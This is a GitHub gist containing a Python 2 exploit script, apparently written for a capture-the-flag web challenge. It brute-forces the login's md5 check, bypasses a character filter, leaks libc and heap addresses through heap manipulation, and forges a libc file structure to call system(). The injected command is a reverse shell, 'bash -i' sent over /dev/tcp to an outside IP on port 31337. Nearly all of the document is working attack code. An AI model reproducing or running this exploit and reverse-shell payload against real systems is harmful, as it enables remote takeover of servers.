Created
April 14, 2018 10:49
-
-
Save peternguyen93/50edcc35f0eb070c703bfcdc80de116f to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# Author : peternguyen | |
from struct import * | |
from base64 import b64encode,b64decode | |
import requests | |
import re | |
import hashlib | |
import random | |
# host = 'http://localhost:8888' | |
host = 'http://localhost:8887' | |
host = 'http://47.75.153.218:9999' | |
session = requests.Session() | |
# target = 'UOTp%I()<>S' | |
# out = '' | |
# for c in target: | |
# found = False | |
# for func_name in dir("")[::-1]: | |
# try: | |
# doc = getattr(getattr("",func_name),"__doc__") | |
# if c in doc: | |
# idx = doc.find(c) | |
# out += "{0.%s.__doc__[%d]}" % (func_name,idx) | |
# print c,"{0.%s.__doc__[%d]}" % (func_name,idx) | |
# found = True | |
# break | |
# except TypeError: | |
# pass | |
# if not found: | |
# print 'char %s not found' % c | |
# print out,len(out) < 0xc0 | |
def p64(value): | |
return pack('<Q',value) | |
def up64(value): | |
value = value.ljust(8,'\x00') | |
return unpack('<Q',value)[0] | |
def pA(*argv): | |
out = '' | |
for it in argv: | |
out += p64(it) | |
return out | |
magic = '{0.encode.__doc__[254]}{0.rfind.__doc__[146]}{0.zfill.__doc__[114]}{0.zfill.__doc__[97]}{0.__rmod__.__doc__[20]}{0.translate.__doc__[286]}{0.__str__.__doc__[12]}{0.zfill.__doc__[0]}' | |
def bypass(c): | |
my_dict = { | |
'U' : '{0.encode.__doc__[254]}', | |
'O' : '{0.rfind.__doc__[146]}', | |
'T' : '{0.zfill.__doc__[114]}', | |
'p' : '{0.zfill.__doc__[97]}', | |
'%' : '{0.__rmod__.__doc__[20]}', | |
'I' : '{0.translate.__doc__[286]}', | |
'(' : '{0.zfill.__doc__[7]}', | |
')' : '{0.zfill.__doc__[13]}', | |
'<' : '{0.__str__.__doc__[12]}', | |
'>' : '{0.zfill.__doc__[16]}', | |
'S' : '{0.zfill.__doc__[0]}' | |
} | |
if my_dict.has_key(c): | |
return my_dict[c] | |
return '' | |
def login(): | |
req = session.get(host + '/login.php') | |
out = re.findall(r'md5\(\?\)\[:4\] = ([0-9a-f]{4})',req.text) | |
target_hash = out[0].encode('utf8') | |
print '[!] Target Hash' | |
rand_str = '' | |
while 1: | |
rand_str = str(random.random()*100000000000000) | |
rand_hash = hashlib.md5(rand_str).hexdigest() | |
if rand_hash[:4] == target_hash: | |
print '[!!] Found',rand_str | |
break | |
req = session.post(host + '/login.php',data={'username':'clgt111','vcode':rand_str}) | |
return True | |
def create_pig(idx,data): | |
req = session.post(host + '/addpig.php',data={'id':idx,'content':b64encode(data)}) | |
return req.text | |
def free_pig(idx): | |
req = session.post(host + '/freepig.php',data={'id':idx}) | |
return req.text | |
def secret(): | |
req = session.post(host + '/flypig.php',data={'secret':b64encode(magic)}) | |
return req.text | |
def list_pigs(): | |
req = session.get(host + '/manage.php') | |
return req.text | |
def overflow(value): | |
limit = 'UOTp%I()<>S' | |
v_array = list(value) | |
for i,c in enumerate(v_array): | |
t = bypass(c) | |
if t: | |
v_array[i] = t | |
# print v_array | |
value = b64encode(''.join(v_array)) | |
# print value | |
req = session.post(host + '/flypig.php',data={'secret':value}) | |
return req.text | |
def exploit(**kargs): | |
# global p # use global var | |
# if kargs.has_key('p'): | |
# if kargs['p'].__class__.__name__ == 'Pwn': # is pwn object | |
# p = kargs['p'] | |
# p.connect() | |
# raw_input('Debug>') | |
if not login(): | |
print 'Thot' | |
return | |
create_pig(2,'A'*0xb0) | |
create_pig(1,'B'*0xb0) | |
free_pig(2) | |
create_pig(2,'C'*0xb0) | |
out = list_pigs() | |
out = out.encode('utf8').decode('string-escape') | |
# print repr(out) | |
idx = out.find('Small Li') + len('Small Li') | |
libc = up64(out[idx:idx + 6]) - 0x3c1b58 | |
print 'Libc:',hex(libc) | |
_IO_list_all = libc + 0x3c2500 | |
_IO_wstr_finish = libc + 0x3bdc90 | |
system = libc + 0x456a0 | |
free_pig(2) | |
free_pig(1) | |
create_pig(0,'A'*0xb0) | |
secret() | |
create_pig(2,'A'*0xb0) | |
create_pig(1,'A'*0xb0) | |
free_pig(2) | |
free_pig(0) | |
create_pig(2,'A'*0xb0) | |
out = list_pigs() | |
out = out.encode('utf8').decode('string-escape') | |
idx = out.find('Small Li') + len('Small Li') | |
heap = up64(out[idx:idx + 6]) - 0x19e30 | |
# print repr(out) | |
print '[!] Heap:',hex(heap) | |
fake_chunk = pA(0,0xd1) | |
fake_chunk+= pA(heap + 0x19f80,heap + 0x1a010) | |
fake_chunk+= 'P'*16 | |
fake_chunk+= pA(0,0x61) | |
fake_chunk+= pA(heap + 0x19fe0,libc + 0x3c1b58) | |
free_pig(2) | |
create_pig(2,'A'*0xb0) | |
create_pig(0,'A'*0x40 + fake_chunk) | |
free_pig(0) | |
free_pig(2) | |
overflow(pA(libc + 0x3c1b58,heap + 0x19fe0)) | |
create_pig(0,'Z'*40) | |
create_pig(2,'U'*0x10) | |
free_pig(1) | |
# write IO_wstr_vtable_address | |
write_fake_vtable = 'M'*0x28 + p64(_IO_wstr_finish - 0x18) | |
write_fake_vtable+= 'Z'*8 + p64(system) | |
create_pig(1,'T'*0x48 + p64(0x51) + write_fake_vtable) | |
free_pig(0) | |
free_pig(2) | |
create_pig(0,'A'*0x40+ pA(0,0xd1,0x4141414141, _IO_list_all - 0x10)) | |
# fake_vtable = | |
fake_IO_wstr_vtable = '' | |
fake_io = pA(0,1) | |
fake_io+= 'A'*8 | |
fake_io+= p64(heap + 0x1a020) # command address | |
fake_io+= 'bash -c \'bash -i >& /dev/tcp/139.59.244.42/31337 0>&1\'\x00' | |
# fake_io+= fake_vtable | |
fake_io = fake_io.ljust(176,'A') | |
fake_io+= p64(heap + 0x1a000 - 0x18) | |
fake_io = fake_io.ljust(0xb8,'K') # => control vtable here get shell | |
create_pig(2,fake_io) | |
# raw_input('>') | |
free_pig(1) | |
req = session.post(host + '/freepig.php',data={'id':'1'}) | |
print req.text | |
# print repr(out) | |
# list_pigs() | |
exploit() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment